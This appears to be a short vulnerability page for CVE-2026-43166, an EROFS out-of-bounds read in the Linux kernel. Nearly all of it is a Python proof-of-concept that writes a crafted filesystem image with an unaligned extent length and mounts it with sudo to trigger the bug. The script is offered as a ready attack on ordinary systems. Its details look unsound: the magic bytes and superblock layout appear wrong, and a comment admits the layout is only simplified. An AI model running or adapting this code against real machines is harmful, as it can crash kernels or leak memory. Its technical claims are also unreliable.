CVE-2026-43166 Linux Kernel EROFS越界读取漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-43166: EROFS Out-of-Bounds Read # This script creates a crafted EROFS image with unaligned extents # to trigger the vulnerability in z_erofs_transform_plain(). import os import struct IMG_FILE = "crafted_erofs.img" MOUNT_POINT = "/mnt/erofs_test" def create_crafted_image(): """ Creates a minimal EROFS image header with malformed extent data. Real exploitation requires precise binary layout. """ with open(IMG_FILE, "wb") as f: # Write EROFS superblock (simplified) # Magic: EROFS... f.write(b'\xE0\xF5\xE0\xE2' + b'\x00' * 124) # Write a crafted inode with unaligned physical length # This simulates the condition found by syzbot inode_data = struct.pack('<I', 0x1000) # Start aligned inode_data += struct.pack('<I', 0x123) # Physical length UNALIGNED (Trigger) f.write(inode_data) # Padding to reach the extent area f.write(b'\x00' * 4096) print(f"[+] Crafted image created at {IMG_FILE}") def trigger_vulnerability(): """ Attempts to mount the crafted image to trigger the kernel bug. Requires root privileges. """ if not os.path.exists(MOUNT_POINT): os.makedirs(MOUNT_POINT) print(f"[*] Attempting to mount {IMG_FILE}...") # The mount operation triggers the parsing of the crafted extent os.system(f"sudo mount -t erofs -o loop {IMG_FILE} {MOUNT_POINT}") print("[*] If kernel crashes or logs OOB read, vulnerability triggered.") if __name__ == "__main__": create_crafted_image() trigger_vulnerability()